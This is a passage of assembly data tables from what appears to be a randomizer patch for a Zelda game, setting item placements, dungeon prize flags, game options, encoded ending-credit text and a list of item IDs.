Music_TRock2:
db $16
org $02D592+$18
Music_TRock3:
db $16, $16
org $02D592+$37
Music_GTower:
db $16
;--------------------------------------------------------------------------------
; OWG EDM bridge sign text pointer (Message id of the upper left of map05 = map05)
;--------------------------------------------------------------------------------
org $07F501
dw #$018E
;--------------------------------------------------------------------------------
; GT sign text pointer (Message id of the upper right of map43 = map44)
;--------------------------------------------------------------------------------
org $07F57F
dw #$0190
;--------------------------------------------------------------------------------
; Pyramid sign text pointer (Message id of the upper left of map5B = map5B)
;--------------------------------------------------------------------------------
org $07F5AD
dw #$0191
;--------------------------------------------------------------------------------
; HC (inverted) left sign text pointer (Message id of the upper left of map1B = map1B)
;--------------------------------------------------------------------------------
org $07F52D
dw #$0190
;--------------------------------------------------------------------------------
; HC (inverted) right sign text pointer (Message id of the upper right of map1B = map1C)
;--------------------------------------------------------------------------------
org $07F52F
dw #$0191
;--------------------------------------------------------------------------------
;Map Pendant / Crystal Indicators
org $0ABF2E ; PC 0x53F02
dw $0100 ; #$6234 - Master Sword
org $0ABEF8 ; PC 0x53EF8
MapObject_Eastern:
dw $6038 ; #$6038 - Green Pendant / Courage
org $0ABF1C ; PC 0x53F1C
MapObject_Desert:
dw $6034 ; #$6034 - Blue Pendant / Power
org $0ABF0A ; PC 0x53F0A
MapObject_Hera:
dw $6032 ; #$6032 - Red Pendant / Wisdom
org $0ABF00 ; PC 0x53F00
MapObject_Darkness:
dw $6434 ; #6434 - Crystal
org $0ABF6C ; PC 0x53F6C
MapObject_Swamp:
dw $6434 ; #6434 - Crystal
org $0ABF12 ; PC 0x53F12
MapObject_Skull:
dw $6434 ; #6434 - Crystal
org $0ABF36 ; PC 0x53F36
MapObject_Thieves:
dw $6434 ; #6434 - Crystal
org $0ABF5A ; PC 0x53F5A
MapObject_Ice:
dw $6432 ; #6434 - Crystal 5/6
org $0ABF48 ; PC 0x53F48
MapObject_Mire:
dw $6432 ; #6434 - Crystal 5/6
org $0ABF24 ; PC 0x53F24
MapObject_TRock:
dw $6434 ; #6434 - Crystal
;--------------------------------------------------------------------------------
org $02A09B ; PC 0x1209B - Bank02.asm:5802 - (pool MilestoneItem_Flags:)
CrystalPendantFlags:
db $00 ; Sewers
db $00 ; Hyrule Castle
db $04 ; Eastern Palace
db $02 ; Desert Palace
db $00 ; Agahnim's Tower
db $10 ; Swamp Palace
db $02 ; Palace of Darkness
db $01 ; Misery Mire
db $40 ; Skull Woods
db $04 ; Ice Palace
.hera
db $01 ; Tower of Hera
db $20 ; Thieves' Town
db $08 ; Turtle Rock
;Pendant 1: $04
;Pendant 2: $02
;Pendant 3: $01
;Crystal 1: $02
;Crystal 2: $10
;Crystal 3: $40
;Crystal 4: $20
;Crystal 5: $04
;Crystal 6: $01
;Crystal 7: $08
;Crystal 8: $80
;--------------------------------------------------------------------------------
;Dungeons with no drops should match their respective world's normal vanilla prize ;xxx
;--------------------------------------------------------------------------------
org $01C6FC ; PC 0xC6FC - Bank01.asm:10344 - (db $00, $00, $01, $02, $00, $06, $06, $06, $06, $06, $03, $06, $06)
db $00 ; Sewers
db $00 ; Hyrule Castle
db $01 ; Eastern Palace
db $02 ; Desert Palace
db $00 ; Agahnim's Tower
db $06 ; Swamp Palace
db $06 ; Palace of Darkness
db $06 ; Misery Mire
db $06 ; Skull Woods
db $06 ; Ice Palace
db $03 ; Tower of Hera
db $06 ; Thieves' Town
db $06 ; Turtle Rock
;Ether/Nothing: $00
;Green Pendant: $01
;Blue Pendant: $02
;Red Pendant: $03
;Heart Container: $04
;Bombos: $05
;Crystal: $06
;--------------------------------------------------------------------------------
org $02885E ; PC 0x1085E - Bank02.asm:1606 - (dw $0006, $005A, $0029, $0090, $00DE, $00A4, $00AC, $000D) ; DEPRECATED - DISCONTINUE USE
dw $0006 ; Crystal 2 Location
dw $005A ; Crystal 1 Location
dw $0029 ; Crystal 3 Location
dw $0090 ; Crystal 6 Location
dw $00DE ; Crystal 5 Location
dw $00A4 ; Crystal 7 Location
dw $00AC ; Crystal 4 Location ; AC
dw $000D ; Agahnim II Location ; 0D
;C8 = Armos Room
;33 = Lanmolas Room
;07 = Moldorm Room
;06 = Arrghus Room
;5A = Helmasaur Room
;29 = Mothula Room
;90 = Viterous Room
;DE = Kholdstare Room
;A4 = Trinexx Room
;AC = Blind Room
;0D = Agahnim 2 Room
;--------------------------------------------------------------------------------
;org $098B7D ; PC 0x48B7D - ancilla_init.asm:1630 - (db $37, $39, $38) ; DEPRECATED - DISCONTINUE USE
;PendantEastern:
;db #$37
;PendantDesert:
;db #$39
;PendantHera:
;db #$38
;37:Pendant 1 Green / Courage
;38:Pendant 3 Red / Wisdom
;39:Pendant 2 Blue / Power
;--------------------------------------------------------------------------------
org $07B51D ; PC 0x3B51D
BlueBoomerangSubstitution:
db #$FF ; no substitution
org $07B53B ; PC 0x3B53B
RedBoomerangSubstitution:
db #$FF ; no substitution
;--------------------------------------------------------------------------------
;org $08D01A ; PC 0x4501A - ancilla_flute.asm - 42
;OldHauntedGroveItem:
; db #$14 ; #$14 = Flute
;--------------------------------------------------------------------------------
;2B:Bottle Already Filled w/ Red Potion
;2C:Bottle Already Filled w/ Green Potion
;2D:Bottle Already Filled w/ Blue Potion
;3C:Bottle Already Filled w/ Bee
;3D:Bottle Already Filled w/ Fairy
;48:Bottle Already Filled w/ Gold Bee
org $06C8FF ; PC 0x348FF
WaterfallPotion: ; <-------------------------- FAIRY POTION STUFF HERE
db #$2C ; #$2C = Green Potion
org $06C93B ; PC 0x3493B
PyramidPotion:
db #$2C ; #$2C = Green Potion
;--------------------------------------------------------------------------------
org $308140 ; PC 0x180140 - 0x18014A [encrypted]
HeartPieceOutdoorValues:
HeartPiece_Spectacle:
db #$17
HeartPiece_Mountain_Warp:
db #$17
HeartPiece_Maze:
db #$17
HeartPiece_Desert:
db #$17
HeartPiece_Lake:
db #$17
HeartPiece_Swamp:
db #$17
HeartPiece_Cliffside:
db #$17
HeartPiece_Pyramid:
db #$17
HeartPiece_Digging:
db #$17
HeartPiece_Zora:
db #$17
HauntedGroveItem:
db #$14 ; #$14 = Flute
;--------------------------------------------------------------------------------
; 0x18014B - 0x18014F (unused) [encrypted]
;================================================================================
org $308150 ; PC 0x180150 - 0x180159 [encrypted]
HeartContainerBossValues:
HeartContainer_ArmosKnights:
db #$3E ; #$3E = Boss Heart (putting pendants here causes main pendants to not drop for obvious (in retrospect) reasons)
HeartContainer_Lanmolas:
db #$3E
HeartContainer_Moldorm:
db #$3E
HeartContainer_HelmasaurKing:
db #$3E
HeartContainer_Arrghus:
db #$3E
HeartContainer_Mothula:
db #$3E
HeartContainer_Blind:
db #$3E
HeartContainer_Kholdstare:
db #$3E
HeartContainer_Vitreous:
db #$3E
HeartContainer_Trinexx:
db #$3E
;--------------------------------------------------------------------------------
; 0x180159 - 0x18015F (unused) [encrypted]
;================================================================================
org $308160 ; PC 0x180160 - 0x180162
BonkKey_Desert:
db #$24 ; #$24 = Small Key (default)
BonkKey_GTower:
db #$24 ; #$24 = Small Key (default)
StandingKey_Hera:
db #$24 ; #$24 = Small Key (default)
;--------------------------------------------------------------------------------
; 0x180163 - 0x180164 (unused)
;================================================================================
org $308165 ; PC 0x180165
GoalItemIcon:
dw #$280E ; #$280D = Star - #$280E = Triforce Piece (default)
;================================================================================
org $308167 ; PC 0x180167
GoalItemRequirement:
db #$00 ; #$00 = Off (default) - #$XX = Require $XX Goal Items - #$FF = Counter-Only
;================================================================================
org $308168 ; PC 0x180168
ByrnaCaveSpikeDamage:
db #$08 ; #$08 = 1 Heart (default) - #$02 = 1/4 Heart
;================================================================================
org $308169 ; PC 0x180169
AgahnimDoorStyle:
db #$02 ; #00 = Never Locked - #$01 = Locked During Escape (default) - #$02 = Locked Without 7 Crystals
;================================================================================
org $30816A ; PC 0x18016A
FreeItemText:
db #$00 ; #00 = Off (default)
;---o bmcs
;o - enabled for outside dungeon items
;b - enabled for inside big key items
;m - enabled for inside map items
;c - enabled for inside compass items
;s - enabled for inside small key items
;================================================================================
org $30816B ; PC 0x18016B - 0x18016D
HardModeExclusionCaneOfByrnaUsage:
db #$04, #$02, #$01 ; Normal, 1/2, 1/4 Magic
org $30816E ; PC 0x18016E - 308170
HardModeExclusionCapeUsage:
db #$04, #$08, #$10 ; Normal, 1/2, 1/4 Magic
;================================================================================
org $308171 ; PC 0x180171
GanonPyramidRespawn:
db #$01 ; #00 = Do not respawn on Pyramid after Death - #$01 = Respawn on Pyramid after Death (default)
;================================================================================
org $308172 ; PC 0x180172
GenericKeys:
db #$00 ; #00 = Dungeon-Specific Keys (Default) - #$01 = Generic Keys
;================================================================================
org $308173 ; PC 0x180173
Bob:
db #$01 ; #00 = Off - #$01 = On (Default)
;================================================================================
org $308174 ; PC 0x180174
; Flag to fix Fake Light World/Fake Dark World as caused by leaving the underworld
; to the other world (As can be caused by EG, Certain underworld clips, or Entance Randomizer).
; Currently, Fake Worlds triggered by other causes like YBA's Fake Flute, are not affected.
FixFakeWorld:
db #$01 ; #00 = Fix Off (Default) - #$01 = Fix On
;================================================================================
org $308175 ; PC 0x180175 - 0x180179
ArrowMode:
db #$00 ; #00 = Normal (Default) - #$01 = Rupees
ArrowModeWoodArrowCost: ; keep these together
dw #$000A ; #$000A = 10 (Default)
ArrowModeSilverArrowCost: ; keep these together
dw #$0032 ; #$0032 = 50 (Default)
;================================================================================
org $30817A ; PC 0x18017A ; #$2000 for Eastern Palace
MapReveal_Sahasrahla:
dw #$0000
org $30817C ; PC 0x18017C ; #$0140 for Ice Palace and Misery Mire
MapReveal_BombShop:
dw #$0000
;================================================================================
org $30817E ; PC 0x18017E
Restrict_Ponds:
db #$01 ; #$00 = Original Behavior - #$01 - Restrict to Bottles (Default)
;================================================================================
org $30817F ; PC 0x18017F
DisableFlashing:
db #$00 ; #$00 = Flashing Enabled (Default) - #$01 = Flashing Disabled
;================================================================================
;---- --hb
;h - Hookshot
;b - Boomerang
org $308180 ; PC 0x180180
StunItemAction:
db #$03 ; #$03 = Hookshot and Boomerang (Default)
;================================================================================
org $308181 ; PC 0x180181
SilverArrowsUseRestriction:
db #$00 ; #$00 = Off (Default) - #$01 = Only At Ganon
;================================================================================
org $308182 ; PC 0x180182
SilverArrowsAutoEquip:
db #$01 ; #$00 = Off - #$01 = Collection Time (Default) - #$02 = Entering Ganon - #$03 = Collection Time & Entering Ganon
;================================================================================
org $308183 ; PC 0x180183
FreeUncleItemAmount:
dw #$12C ; 300 rupees (Default)
;--------------------------------------------------------------------------------
org $308185 ; PC 0x180185
RainDeathRefillTable:
RainDeathRefillMagic_Uncle:
db #$00
RainDeathRefillBombs_Uncle:
db #$00
RainDeathRefillArrows_Uncle:
db #$00
RainDeathRefillMagic_Cell:
db #$00
RainDeathRefillBombs_Cell:
db #$00
RainDeathRefillArrows_Cell:
db #$00
RainDeathRefillMagic_Mantle:
db #$00
RainDeathRefillBombs_Mantle:
db #$00
RainDeathRefillArrows_Mantle:
db #$00
;================================================================================
; 0x18018E - 0x18018F (unused)
;================================================================================
org $308190 ; PC 0x180190 - 0x180192
TimerStyle:
db #$00 ; #$00 = Off (Default) - #$01 Countdown - #$02 = Stopwatch
TimeoutBehavior:
db #$00 ; #$00 = DNF (Default) - #$01 = Sign Change (Requires TimerRestart == 1) - #$02 = OHKO - #$03 = End Game
TimerRestart:
db #$00 ; #$00 = Locked (Default) - #$01 = Restart
;--------------------------------------------------------------------------------
org $308193 ; PC 0x180193
ServerRequestMode:
db #$00 ; #$00 = Off (Default) - #$01 = Synchronous - #$02 = Asychronous
;---------------------------------------------------------------------------------
org $308194 ; PC 0x180194
TurnInGoalItems:
db #$01 ; #$00 = Instant win if last goal item collected. $01 = (Default) must turn in goal items
;--------------------------------------------------------------------------------
; 0x180195 - 0x1801FF (unused)
;================================================================================
org $308200 ; PC 0x180200 - 0x18020F
RedClockAmount:
dw #$4650, #$0000 ; $00004650 = +5 minutes
BlueClockAmount:
dw #$B9B0, #$FFFF ; $FFFFB9B0 = -5 minutes
GreenClockAmount:
dw #$0000, #$0000
StartingTime:
dw #$0000, #$0000 ; #$A5E0, #$0001 = 30 minutes
;================================================================================
org $09E3BB ; PC 0x4E3BB
db $E4 ; Hera Basement Key (Set to programmable HP $EB) (set to $E4 for original hookable/boomable key behavior)
;================================================================================
org $308210 ; PC 0x180210
RandomizerSeedType:
db #$00 ; #$00 = Casual (default) - #$01 = Glitched - #$02 = Speedrunner - #$A0 = Super Metroid Combo - #$FF = Not Randomizer
;--------------------------------------------------------------------------------
org $308211 ; PC 0x180211
GameType:
;---- ridn
;r - room randomization
;i - item randomization
;d - door/entrance randomization
;n - enemy randomization
db #$00 ; #$00 = Not Randomized (default)
;--------------------------------------------------------------------------------
;dgGe mutT
;d - Nonstandard Dungeon Configuration (Not Map/Compass/BigKey/SmallKeys in same quantity as vanilla)
;g - Requires Minor Glitches (Fake flippers, bomb jumps, etc)
;G - Requires Major Glitches (OW YBA/Clips, etc)
;e - Requires EG
;
;m - Contains Multiples of Major Items
;u - Contains Unreachable Items
;t - Minor Trolling (Swapped around levers, etc)
;T - Major Trolling (Forced-guess softlocks, impossible seed, etc)
org $308212 ; PC 0x180212
WarningFlags:
db #$00
;--------------------------------------------------------------------------------
org $308213 ; PC 0x180213
TournamentSeed:
db #$00 ; #$00 = Off (default) - #$01 = On
TournamentSeedInverse:
db #$01 ; #$00 = On - #$01 = Off (Default)
;--------------------------------------------------------------------------------
org $308215 ; PC 0x180215
SeedHash:
db $00, $01, $02, $03, $04
;--------------------------------------------------------------------------------
org $30821A ; PC 0x18021A
NoBGM:
db $00 ; $00 = BGM enabled (default) $01 = BGM disabled
org $30821B ; PC 0x18021B
FastFanfare:
db $00 ; $00 = Normal fanfare (default) $01 = Fast fanfare
;--------------------------------------------------------------------------------
; 0x18021C - 0x18021F (unused)
;================================================================================
; $308220 (0x180220) - $30823F (0x18023F)
; Plandomizer Author Name (ASCII) - Leave unused chars as 0
org $308220 ; PC 0x180220
;================================================================================
; $308240 (0x180420) - $308246 (0x180246)
; For starting areas in single entrance caves, we specify which row in the StartingAreaExitTable
; to use for exit information. Values are 1 based indexes, with 0 representing a multi-entrance cave
; start position.
; Position 0: Link's House
; Position 1: sanctuary
; Position 2: Zelda's cell
; Position 3: Wounded Uncle
; Position 4: Mantle
; Position 5: Middle of Old Man Cave
; Position 6: Old Man's House
org $308240 ; PC 0x180240
StartingAreaExitOffset:
db $00, $00, $00, $00, $00, $00, $00
;--------------------------------------------------------------------------------
org $308247 ; PC 0x180247
; For any starting areas in single entrance caves you can specify the overworld door here
; to enable drawing the doorframes These values should be the overworld door index+1.
; A value of zero will draw no door frame.
StartingAreaOverworldDoor:
db $00, $00, $00, $00, $00, $00, $00
;--------------------------------------------------------------------------------
; 0x18024E - 0x18024F (unused)
;-------------------------------------------------------------------------------
; $308250 (0x180250) - $30829F (0x18029F)
org $308250 ; PC 0x180250
StartingAreaExitTable:
; This has the same format as the main Exit table, except
; is stored row major instead of column major
; it lacks the last two columns and has 1 padding byte per row (the last byte)
dw $0112 : db $53 : dw $001e, $0400, $06e2, $0446, $0758, $046d, $075f : db $00, $00, $00
dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00
dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00
dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00
;--------------------------------------------------------------------------------
; 0x1802A0 - 0x1802FF (unused)
;--------------------------------------------------------------------------------
; $308300 (0x180300) - $30834F (0x18034F)
org $308300 ; PC 0x180300
ExtraHole_Map16:
dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF
dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF
ExtraHole_Area:
dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF
dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF
ExtraHole_Entrance:
db $00, $00, $00, $00, $00, $00, $00, $00
db $00, $00, $00, $00, $00, $00, $00, $00
;--------------------------------------------------------------------------------
; $308350 (0x180350) - $30834F (0x18034F)
; Correspond to the three start options
; do not set for a starting location that is using a single entrance cave
org $308350 ; PC 0x180350
ShouldStartatExit:
db $00, $00, $00
;================================================================================
; 0x180350 - 0x1814FF (unused)
;================================================================================
; $309500 (0x181500) - $309FFF (0x181FFF) original 0x39C bytes
; Replacement Ending Sequence Text Data
; if you modify this table you will need to modify the pointers to it located at $0EECC0
org $309500 ; PC 0x181500
EndingSequenceText:
; the return of the king
db $62, $65, $00, $2B, $2D, $21, $1E, $9F, $2B, $1E, $2D, $2E, $2B, $27, $9F, $28, $1F, $9F, $2D, $21, $1E, $9F, $24, $22, $27, $20
db $62, $E9, $00, $19, $64, $75, $6E, $71, $68, $61, $9F, $5F, $5D, $6F, $70, $68, $61
db $63, $09, $00, $19, $8A, $9B, $94, $97, $8E, $87, $9F, $85, $83, $95, $96, $8E, $87
; the loyal priest
db $62, $68, $00, $1F, $2D, $21, $1E, $9F, $25, $28, $32, $1A, $25, $9F, $29, $2B, $22, $1E, $2C, $2D
db $62, $EB, $00, $11, $6F, $5D, $6A, $5F, $70, $71, $5D, $6E, $75
db $63, $0B, $00, $11, $95, $83, $90, $85, $96, $97, $83, $94, $9B
; sahasralah's homecoming
db $62, $4F, $00, $01, $34
db $62, $65, $00, $2D, $2C, $1A, $21, $1A, $2C, $2B, $1A, $25, $1A, $21, $35, $2C, $9F, $21, $28, $26, $1E, $1C, $28, $26, $22, $27, $20
db $62, $E9, $00, $19, $67, $5D, $67, $5D, $6E, $65, $67, $6B, $9F, $70, $6B, $73, $6A
db $63, $09, $00, $19, $8D, $83, $8D, $83, $94, $8B, $8D, $91, $9F, $96, $91, $99, $90
; vultures rule the desert
db $62, $64, $00, $2F, $2F, $2E, $25, $2D, $2E, $2B, $1E, $2C, $9F, $2B, $2E, $25, $1E, $9F, $2D, $21, $1E, $9F, $1D, $1E, $2C, $1E, $2B, $2D
db $62, $E9, $00, $19, $60, $61, $6F, $61, $6E, $70, $9F, $6C, $5D, $68, $5D, $5F, $61
db $63, $09, $00, $19, $86, $87, $95, $87, $94, $96, $9F, $92, $83, $8E, $83, $85, $87
; the bully makes a friend
db $62, $64, $00, $2F, $2D, $21, $1E, $9F, $1B, $2E, $25, $25, $32, $9F, $26, $1A, $24, $1E, $2C, $9F, $1A, $9F, $1F, $2B, $22, $1E, $27, $1D
db $62, $E9, $00, $1B, $69, $6B, $71, $6A, $70, $5D, $65, $6A, $9F, $70, $6B, $73, $61, $6E
db $63, $09, $00, $1B, $8F, $91, $97, $90, $96, $83, $8B, $90, $9F, $96, $91, $99, $87, $94
; your uncle recovers
db $62, $66, $00, $25, $32, $28, $2E, $2B, $9F, $2E, $27, $1C, $25, $1E, $9F, $2B, $1E, $1C, $28, $2F, $1E, $2B, $2C
db $62, $EB, $00, $13, $75, $6B, $71, $6E, $9F, $64, $6B, $71, $6F, $61
db $63, $0B, $00, $13, $9B, $91, $97, $94, $9F, $8A, $91, $97, $95, $87
; finger webs for sale
db $62, $66, $00, $27, $1F, $22, $27, $20, $1E, $2B, $9F, $30, $1E, $1B, $2C, $9F, $1F, $28, $2B, $9F, $2C, $1A, $25, $1E
db $62, $E8, $00, $1F, $76, $6B, $6E, $5D, $77, $6F, $9F, $73, $5D, $70, $61, $6E, $62, $5D, $68, $68
db $63, $08, $00, $1F, $9C, $91, $94, $83, $9D, $95, $9F, $99, $83, $96, $87, $94, $88, $83, $8E, $8E
; the witch and assistant
db $62, $64, $00, $2D, $2D, $21, $1E, $9F, $30, $22, $2D, $1C, $21, $9F, $1A, $27, $1D, $9F, $1A, $2C, $2C, $22, $2C, $2D, $1A, $27, $2D
db $62, $EB, $00, $13, $69, $5D, $63, $65, $5F, $9F, $6F, $64, $6B, $6C
db $63, $0B, $00, $13, $8F, $83, $89, $8B, $85, $9F, $95, $8A, $91, $92
; twin lumberjacks
db $62, $68, $00, $1F, $2D, $30, $22, $27, $9F, $25, $2E, $26, $1B, $1E, $2B, $23, $1A, $1C, $24, $2C
db $62, $E9, $00, $1B, $73, $6B, $6B, $60, $6F, $69, $61, $6A, $77, $6F, $9F, $64, $71, $70
db $63, $09, $00, $1B, $99, $91, $91, $86, $95, $8F, $87, $90, $9D, $95, $9F, $8A, $97, $96
; ocarina boy plays again
db $62, $64, $00, $2D, $28, $1C, $1A, $2B, $22, $27, $1A, $9F, $1B, $28, $32, $9F, $29, $25, $1A, $32, $2C, $9F, $1A, $20, $1A, $22, $27
db $62, $E9, $00, $19, $64, $5D, $71, $6A, $70, $61, $60, $9F, $63, $6E, $6B, $72, $61
db $63, $09, $00, $19, $8A, $83, $97, $90, $96, $87, $86, $9F, $89, $94, $91, $98, $87
; venus. queen of faeries
db $62, $64, $00, $2D, $2F, $1E, $27, $2E, $2C, $37, $9F, $2A, $2E, $1E, $1E, $27, $9F, $28, $1F, $9F, $1F, $1A, $1E, $2B, $22, $1E, $2C
db $62, $EA, $00, $17, $73, $65, $6F, $64, $65, $6A, $63, $9F, $73, $61, $68, $68
db $63, $0A, $00, $17, $99, $8B, $95, $8A, $8B, $90, $89, $9F, $99, $87, $8E, $8E
; the dwarven swordsmiths
db $62, $64, $00, $2D, $2D, $21, $1E, $9F, $1D, $30, $1A, $2B, $2F, $1E, $27, $9F, $2C, $30, $28, $2B, $1D, $2C, $26, $22, $2D, $21, $2C
db $62, $EC, $00, $0F, $6F, $69, $65, $70, $64, $61, $6E, $75
db $63, $0C, $00, $0F, $95, $8F, $8B, $96, $8A, $87, $94, $9B
; the bug-catching kid
db $62, $66, $00, $27, $2D, $21, $1E, $9F, $1B, $2E, $20, $36, $1C, $1A, $2D, $1C, $21, $22, $27, $20, $9F, $24, $22, $1D
db $62, $E9, $00, $19, $67, $5D, $67, $5D, $6E, $65, $67, $6B, $9F, $70, $6B, $73, $6A
db $63, $09, $00, $19, $8D, $83, $8D, $83, $94, $8B, $8D, $91, $9F, $96, $91, $99, $90
; the lost old man
db $62, $48, $00, $1F, $2D, $21, $1E, $9F, $25, $28, $2C, $2D, $9F, $28, $25, $1D, $9F, $26, $1A, $27
db $62, $E9, $00, $1B, $60, $61, $5D, $70, $64, $9F, $69, $6B, $71, $6A, $70, $5D, $65, $6A
db $63, $09, $00, $1B, $86, $87, $83, $96, $8A, $9F, $8F, $91, $97, $90, $96, $83, $8B, $90
; the forest thief
db $62, $68, $00, $1F, $2D, $21, $1E, $9F, $1F, $28, $2B, $1E, $2C, $2D, $9F, $2D, $21, $22, $1E, $1F
db $62, $EB, $00, $13, $68, $6B, $6F, $70, $9F, $73, $6B, $6B, $60, $6F
db $63, $0B, $00, $13, $8E, $91, $95, $96, $9F, $99, $91, $91, $86, $95
; master sword
db $62, $66, $00, $27, $1A, $27, $1D, $9F, $2D, $21, $1E, $9F, $26, $1A, $2C, $2D, $1E, $2B, $9F, $2C, $30, $28, $2B, $1D
db $62, $A8, $00, $1D, $4A, $43, $3C, $3C, $47, $4A, $9F, $38, $3E, $38, $40, $45, $52, $52, $52
db $62, $EC, $00, $0F, $62, $6B, $6E, $61, $72, $61, $6E, $78
db $63, $0C, $00, $0F, $88, $91, $94, $87, $98, $87, $94, $9E
;--------------------------------------------------------------------------------
; org $0EECC0 ; PC 0x76CC0 poiters for above scenes
; dw $0000, $003C, $006A, $00AC, $00EA, $012A, $015D, $019D, $01D4, $020C, $0249, $0284, $02B7, $02F1, $0329, $0359, $039C
;================================================================================
org $30A000 ; $30A000 (0x182000) - $30A07F (0x18007F)
RNGSingleItemTable:
db $08, $09, $0A, $0B, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF
RNGSingleTableSize:
db $04
org $30A080 ; $30A080 (0x182080) - $30A0FF (0x1820FF)
RNGMultiItemTable:
db $31, $36, $40, $46, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
db $FF, $FF, $FF, $FF, $FF, $FF, $FF
RNGMultiTableSize:
db $04
;--------------------------------------------------------------------------------
; Bank 30 continues down below at EntranceDoorFrameTable
;================================================================================
;PC 0x50563: $C5, $76 ; move tile and turn into chest orig: $3F, $14
;PC 0x50599: $38; lock door into room orig: $00
;PC 0xE9A5: $10, $00, $58 ; borrow unused Ice Palace dungeon secret to fill chest orig: $7E, $00, $24
;--------------------------------------------------------------------------------
;00:Fighter's Sword (1) and Fighter's Shield (1)
;01:Master Sword (2)
;02:Tempered Sword (3)
;03:Golden Sword (4)
;04:Fighter's Shield (1)
;05:Red Shield (2)
;06:Mirror Shield (3)
;07:FireRod
;08:IceRod
;09:Hammer
;0A:HookShot
;0B:Bow
;0C:Boomerang (Alternate = 10 Arrows)
;0D:Powder
;0E:Bee
;0F:Bombos
;10:Ether
;11:Quake
;12:Lamp (Alternate = 5 Rupees)
;13:Shovel
;14:Flute
;15:Red Cane
;16:Bottle
;17:Heart Piece
;18:Blue Cane
;19:Cape
;1A:Mirror
;1B:Power Glove (1)
;1C:Titan Mitts (2)
;1D:Book
;1E:Flippers
;1F:Moon Pearl
;20:Crystal
;21:Net
;22:Blue Mail (2)
;23:Red Mail (3)
;24:Small Key
;25:Compass
;26:Heart Piece Completion Heart
;27:Bomb
;28:3 Bombs
;29:Mushroom
;2A:Red Boomerang (Alternate = 300 Rupees)
;2B:Red Potion (with bottle)
;2C:Green Potion (with bottle)
;2D:Blue Potion (with bottle)
;2E:Red Potion (without bottle)
;2F:Green Potion (without bottle)
;30:Blue Potion (without bottle)
;31:10 Bombs
;32:Big Key
;33:Map
;34:1 Rupee
;35:5 Rupees
;36:20 Rupees
;37:Pendant 1
;38:Pendant 2
;39:Pendant 3
;3A:Bow And Arrows (Different from "Bow", thrown into Fairy Fountains)
;3B:Bow And Silver Arrows
;3C:Bee
;3D:Fairy
;3E:Boss Heart
;3F:Sanctuary Heart
;40:100 Rupees
;41:50 Rupees
;42:Heart
;43:Arrow
;44:10 Arrows
;45:Magic
;46:300 Rupees
;47:20 Rupees
;48:Gold Bee
;49:Fighter's Sword (1) (without shield, thrown into Fairy Fountains)
;4A:Flute
;4B:Boots
;4C:Max Bombs
;4D:Max Arrows
;4E:Half Magic
;4F:Quarter Magic
;50:Master Sword (No Special Handling)
;51:+5 Bombs
;52:+10 Bombs
;53:+5 Arrows
;54:+10 Arrows
;55:Programmable Item 1
;56:Programmable Item 2
;57:Programmable Item 3
;58:Upgrade-Only Silver Arrows
;59:Rupoor
;5A:Null Item
;5B:Red Clock
;5C:Blue Clock
;5D:Green Clock
;5E:Progressive Sword
;5F:Progressive Shield
;60:Progressive Armor
;61:Progressive Lifting Glove
;62:RNG Pool Item (Single)
;63:RNG Pool Item (Multi)
;64:Progressive Bow
;65:Progressive Bow
;6A:Goal Item (Single/Triforce)
;6B:Goal Item (Multi/Power Star)
;6D:Server Request Item
;6E:Server Request Item (Dungeon Drop)
;DO NOT PLACE FREE DUNGEON ITEMS WITHIN THEIR OWN DUNGEONS - USE THE NORMAL VARIANTS
;70 - Map of Light World
;71 - Map of Dark World
;72 - Map of Ganon's Tower
;73 - Map of Turtle Rock
;74 - Map of Thieves' Town
;75 - Map of Tower of Hera
;76 - Map of Ice Palace
;77 - Map of Skull Woods
;78 - Map of Misery Mire
;79 - Map of Dark Palace
;7A - Map of Swamp Palace
;7B - Map of Agahnim's Tower
;7C - Map of Desert Palace
;7D - Map of Eastern Palace
;7E - Map of Hyrule Castle
;7F - Map of Sewers
;80 - Compass of Light World
;81 - Compass of Dark World
;82 - Compass of Ganon's Tower
;83 - Compass of Turtle Rock
;84 - Compass of Thieves' Town
;85 - Compass of Tower of Hera
;86 - Compass of Ice Palace
;87 - Compass of Skull Woods
;88 - Compass of Misery Mire
